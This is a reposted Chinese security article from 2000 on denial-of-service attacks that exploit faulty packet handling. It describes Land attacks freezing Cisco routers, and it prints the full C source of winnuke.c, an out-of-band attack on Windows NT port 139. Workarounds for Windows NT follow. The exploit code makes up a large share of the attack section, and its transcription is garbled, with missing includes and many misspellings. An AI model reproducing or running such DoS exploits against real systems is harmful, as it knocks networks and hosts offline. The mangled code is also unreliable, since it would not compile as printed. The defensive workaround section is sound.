利用处理程序错误攻击(下)
创建时间:2000-06-03
文章属性:转载
文章来源:红色力量
文章提交:xundi (xundi_at_xfocus.org)
从红色力量中转载--见我们的连接
利用处理程序错误攻击(下)
3 Land攻击工具
Land也是一个很厉害的攻击工具,有人专门用Land对某种路由器进行了测试,结果发现,当对23端口进行
攻击,路由器再也不能连到本地网上或域网外部。前面面板上的灯也停止了闪烁,用ping没有响应,
ten.net命令也无效。此时,唯一的选择便是来一个硬重启动。如下是对Land攻击cisco路由器的一番描述:
“当攻击端口23时,它果然锁住了路由器,此时,路由器再也不能到达内部的局域网,同样也不能到达外
部的广域网,前面面板上的灯也停止了闪动,这时候,也不能ping通它,也不能telnet到它。唯一的选择
只有来一个硬重启动。“
可以说对许多使用cisco路由器的网络来说,这一点是非常可怕的。
更有人专门用Land对当前流行的操作系统进行了一番测试,结果是Land可攻击的对象竟然包括了相当多的
操作系统,诸如AIX3、HP-UX 10。20、IRIX Windows 95和Windows NT等当前流行的操作系统。
更为危险的是,在现在的网上,诸如teardrop.c 、bonk.c(55端口)、bionk.c和SSPing.c一类的攻击端口
的源程序到处都是,从编写得很完善的,到一些个人自己编写的简陋的测试程序。任何感兴趣的人,都可
以稍微工花费一些时间研究一下,就可以将他们变成自己的工具。因此,对于系统不是最新的或者还没有
打过“补丁”,对自己的系统打“补丁”确实是当务之急。
4 OOB攻击工具
5.1 攻击代码
OOB是一种专门攻击Windows NT139端口的工具。下面是它的一个可用的版本。可以用它来检测自己系统的
安全性。
/* winnuke.c – (05/07/97) BY –ECI */
/* Tested on Linux 2.0.30,Sunos 5.5.1, and BSDI 2.1 */
#include
#include
#include
#include
#include
#include
#include
#define dport 139 /*Attack port; 139 is what we want */
int x,s;
char str =”Bye”; /Makes no diff */
struct sockaddr-in addr, spoofedaddr;
atruct hostent *host;
int opdn-sock(int scok, char *server,int port) {
struct sockaddr-in blah;
struct hostent *he;
bzero ((char*) &blah,sizeof(blah));
blah.sin-family=AF-INET;
blah.sin-addr.s-addf=inet-addf(server);
blah.sin-port=htons(port);
if((he=gethostbyname(server)) ! =NULLL) {
bcopy(he->addr,(char*)&blah.sin-addr,he->h-length);
}
else {
if ((blah.sin-addr =inet-addr (server)) <0) {
return(-3);
}
}
if (connect (sock,(struct sockaddr *)&blah,16)==-1) {
perror(“cinnect()”);
close(sock);
retuen(-4);
}
void main (int argc,char *argv[]) {
if (argc !=2) {
printf(“Usage: %s
exit(0);
}
if ((s =socket(AF-INET,SOCK-STREAM, IPPROTO-TCP)) =-1) {
PERROR (“socket()”);
Exyt(-1);
}
open-sock(s,argv[1],dport);
printf(“Sending crash …”);
send (s, str, atrldn (str),MSG-OOB);
usleep (100000);
printf(“Done!\n”);
close(s);
}
10.5.2 一些临时措施
目前有三种临时性的解决方案可用。前两种的后果是用户只能使用拔号网络而无法再使用局域网了,
第三种方法通过包过滤,来阻止对联39端口的访问。因为它需要网卡的支持,所以只用于局域网内部。
方法一:
1. 进入[控制面板]窗口---[网络]对话框---[绑定]选项卡。
2. 打开[显示绑定属于]列表,选择[所有适配器]。
3. 找到[远程访问WAN Wrapper],打开它,找到[WINS客户(TCP/IP)]。
4. 单击[禁用]按钮。
5. 确认后,重新启动系统。
需要注意的是,当登录进Windows NT 4。0时,就会有一个消息框,说明有一些服务或者驱动没有启动。
这是正常的,而且每次启动时都会有。
方法二:
1. 进入[控制面板],找到[设备]图标。
2. 到列表的底部,找到[WINS客户(TCP/IP)]。
3. 单击[停止]按钮,然后单击[关闭]按钮。
4. 重启系统。
这种方法更简洁地实现了第一种方法,但是对一些局域网内的使用WINS TCP/IP客户来说这是一个灾难了。
所以要与系统管理员联系,以决定这样做是否必要
方法三:
Windows NT4。0提供了一个选项,可以对端口进行过滤。这可以用来对目标端口是非曲直39的那些数据包
进行过滤。需要知道的是这种方法将对使用NetBIOS产生一些不必要的副作用。
1. 进入[控制面板] ,选择[网络]/[协议]/[TCP/IP] 单击[属性] 按扭。
2. 在IP地址表中,选择[高级]按扭。
3. 在[高级]的TCP/IP属性对话框中,选择封锁哪些端口,允许哪些端口继续使用。
4. 单击[确定],然后退出,重启动系统。